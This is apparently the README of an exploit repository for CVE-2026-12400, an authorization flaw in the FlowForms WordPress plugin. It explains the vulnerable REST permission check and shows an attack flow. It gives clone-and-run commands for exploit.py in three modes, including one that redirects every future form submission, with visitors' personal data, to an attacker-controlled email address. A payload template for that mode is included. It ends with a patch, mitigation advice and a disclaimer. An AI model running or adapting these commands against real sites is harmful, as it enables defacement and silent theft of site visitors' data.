
Exploit en Python para CVE-2026-12400, una vulnerabilidad IDOR en el plugin FlowForms de WordPress que permite a contribuyentes autenticados modificar formularios arbitrarios y secuestrar notificaciones por correo electrónico.
Referencia directa insegura a objetos autenticada (Colaborador+) para modificación arbitraria de formularios en FlowForms ≤ 1.1.1
| Propiedad | Valor |
|---|---|
| ID de CVE | CVE-2026-12400 |
| Puntuación CVSS | 4.3 — Media |
| Vector CVSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N |
| CWE | CWE-639 (Omisión de autorización mediante clave controlada por el usuario) |
| Producto | FlowForms — Plugin de formularios conversacionales para WordPress |
| Afectado | Todas las versiones hasta 1.1.1 inclusive |
| Corregido en | Corregido en 1.1.2 |
| Investigador | Phantom Hat |
Estudio de caso completo de caja blanca con análisis de código fuente, trazado de flujo de entrada y comparación de parches:
FlowForms expone dos endpoints de la API REST bajo el espacio de nombres flowforms/v1 que son vulnerables:
POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings
Ambos aceptan un {id} controlado por el usuario en la ruta URL y modifican los datos del formulario objetivo: nombre, contenido, diseño, URL de redirección y destinatarios de notificaciones por correo electrónico.
Ambas rutas vulnerables comparten el mismo permission_callback defectuoso:
// Update form content / name
register_rest_route($ns, '/forms/(?P<id>\d+)', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_form'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
// Update form settings (email notifications, layout, etc.)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_settings'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
edit_posts es una capacidad que poseen los Colaboradores. El parámetro {id} nunca se verifica contra la propiedad del usuario solicitante: cualquier usuario autenticado puede atacar cualquier ID de formulario en el sitio.
Attacker (Contributor) FlowForms REST API
│ │
│── POST /wp-login.php ────────────>│ (1) Authenticate as Contributor
│<─ wordpress_logged_in cookie ─────│
│ │
│── GET /wp-admin/post-new.php ────>│ (2) Harvest REST nonce
│<─ wpApiSettings.nonce ────────────│
│ │
│── GET /flowform/{id} ────────────>│ (3) Enumerate published forms
│<─ HTTP 200 ───────────────────────│ (any accessible form is a target)
│ │
│── POST /flowforms/v1/forms/{id} │ (4a) Overwrite form name / content
│ with attacker payload ─────>│ ← no owner check
│<─ { "success": true } ────────────│
│ │
│── POST /flowforms/v1/forms/{id} │ (4b) Hijack email notifications
│ /settings ─────────────────>│ ← attacker receives all
│<─ { "success": true } ────────────│ future form submissions
│ │
│ All 3 attack vectors confirmed │ (5) Name ✔ Content ✔ Email ✔
El modo email es el más crítico. Tras el secuestro, cada envío al formulario de contacto de la víctima — incluyendo información de identificación personal (PII) de visitantes, mensajes y detalles de contacto — se reenvía silenciosamente a la dirección controlada por el atacante. El administrador del sitio no ve ninguna indicación del cambio.
Colaborador en el sitio objetivogit clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt
Renombrar cualquier formulario con contenido controlado por el atacante:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit name
Sobrescribir diseño del formulario, pantallas, URL de redirección e imágenes de fondo:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit content
Redirigir todas las futuras notificaciones de envío de formularios a una dirección controlada por el atacante:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit email
python3 exploit.py \
-u http://TARGET \
-p http://127.0.0.1:8080 \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit email
Las plantillas de carga útil JSON (NAME_EDIT, CONTENT_EDIT, EMAIL_EDIT) están definidas al inicio del script. Edítelas antes de ejecutar para personalizar el contenido del ataque: cambie la dirección de correo electrónico de notificación, la URL de redirección, la imagen de fondo, el título del formulario, etc.
# Top of exploit.py
EMAIL_EDIT = json.loads("""{
"settings": {
"email": {
"enabled": true,
"notifications": {
"1": {
"email": "[email protected]", # ← change this
...
}
}
}
}
}""")
El exploit realiza tres pasos automatizados:
Paso 1 — Autenticar
Inicia sesión como atacante (Colaborador) y obtiene un nonce válido de la API REST de wp-admin/post-new.php.
Paso 2 — Enumerar formularios
Escanea GET /flowform/{id} en el rango de IDs especificado. Los IDs que devuelven HTTP 200 se recopilan como objetivos accesibles: son formularios publicados de cualquier usuario del sitio, incluidos administradores.
Paso 3 — Explotar Dependiendo del modo seleccionado, envía la carga útil correspondiente al endpoint REST desprotegido:
name / content → POST /flowforms/v1/forms/{id}email → POST /flowforms/v1/forms/{id}/settingsEl servidor acepta la solicitud y aplica la modificación sin verificar la propiedad.
| Acción | Detalles |
|---|---|
| Parche | Reemplazar la verificación genérica de edit_posts por en ambos endpoints — vincular la verificación de capacidad al objeto de publicación específico aplica las reglas de propiedad de WordPress |
// VULNERABLE — both endpoints
'permission_callback' => fn() => current_user_can('edit_posts'),
// SECURE (patched)
private function can_edit_form($form_id) {
return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),
CVE-2026-12400-FlowForms-IDOR-Exploit/
├── exploit.py # Polished exploit with rich UI (3 modes)
├── requirements.txt # Python dependencies
└── README.md # This file
Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas e investigación educativa. El acceso no autorizado a sistemas informáticos es ilegal según las leyes aplicables en todo el mundo. El autor no asume ninguna responsabilidad por el mal uso de este software. Obtenga siempre un permiso explícito por escrito antes de probar cualquier sistema que no posea.
Phantom Hat — Investigador de seguridad independiente
Esta investigación se realizó como parte de la divulgación responsable de vulnerabilidades.
| Modo | Endpoint | Impacto |
|---|
| name | /forms/{id} | Renombrar cualquier formulario — desfiguración, ingeniería social |
| content | /forms/{id} | Sobrescribir diseño, pantallas de bienvenida/agradecimiento, URL de redirección |
/forms/{id}/settings | Secuestrar correo de notificación — recibir silenciosamente todos los envíos de formularios |
| Flag | Corto | Descripción | Requerido |
|---|
--url | -u | URL objetivo de WordPress | ✅ |
--user | Nombre de usuario de WordPress (Colaborador+) | ✅ | |
--password | Contraseña de WordPress | ✅ | |
--id-start | -i | ID de formulario inicial para enumerar | ✅ |
--num-forms | -n | Número de IDs de formulario a enumerar | ✅ |
--exploit | Modo de ataque: name / content / email | ✅ | |
--proxy | -p | URL del proxy (ej. http://127.0.0.1:8080) | ❌ |
current_user_can('edit_post', $form_id)| Mitigar | Hasta que se aplique el parche, restringir los roles Colaborador y Autor si el plugin está activo |